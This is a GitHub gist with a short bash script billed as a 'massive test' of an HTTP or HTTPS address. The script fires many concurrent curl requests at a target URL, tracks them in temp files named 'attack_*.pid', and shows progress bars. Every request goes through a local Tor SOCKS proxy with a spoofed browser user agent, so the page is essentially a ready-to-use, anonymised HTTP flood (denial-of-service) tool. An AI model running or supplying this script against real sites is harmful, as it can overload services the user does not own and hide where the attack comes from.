Skip to content

Instantly share code, notes, and snippets.

@lichti
Created May 13, 2015 18:58
Show Gist options
  • Save lichti/226948d604482929670b to your computer and use it in GitHub Desktop.
Save lichti/226948d604482929670b to your computer and use it in GitHub Desktop.
Massive Test on HTTP or HTTPS
#!/bin/bash
ADDR=${1:-FAIL}
C=${2:-10}
N=${3:-100}
xN=0
xPROC=0
RND=$RANDOM
touch /tmp/attack_${RND}_0.pid
#while [ $xN -lt $N ];
while [ $(find /tmp/attack_${RND}_*.pid > /dev/null 2>&1; echo $?) -eq 0 ];
do
test -f /tmp/attack_${RND}_0.pid && rm /tmp/attack_${RND}_0.pid
for xC in $(seq 1 $C);do
if [ -f /tmp/attack_${RND}_${xC}.pid ];then
xPID=$(cat /tmp/attack_${RND}_${xC}.pid)
ps -p $xPID > /dev/null 2>&1
if [ $? -gt 0 ];then
rm /tmp/attack_${RND}_${xC}.pid
let "xPROC++"
fi
fi
if [ ! -f /tmp/attack_${RND}_${xC}.pid ] && [ $xN -lt $N ] ;then
curl -k -s -A Mozilla/5.0 -x socks://127.0.0.1:9150 $ADDR > /dev/null 2>&1 &
echo $! > /tmp/attack_${RND}_${xC}.pid
let "xN++"
fi
done
clear
pX=$(($xN * 100 / $N))
echo -n 'Started ['
for xI in $(seq 1 $pX);do echo -n "#"; done
for xI in $(seq $pX 99);do echo -n ' '; done
echo "] ${pX}% ($xN)"
echo "Runnig [ $(find /tmp/attack_${RND}_*.pid 2> /dev/null | wc -l) ]"
pX=$(($xPROC * 100 / $N))
echo -n 'Ended ['
for xI in $(seq 1 $pX);do echo -n "#"; done
for xI in $(seq $pX 99);do echo -n ' '; done
echo "] ${pX}% ($xPROC)"
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment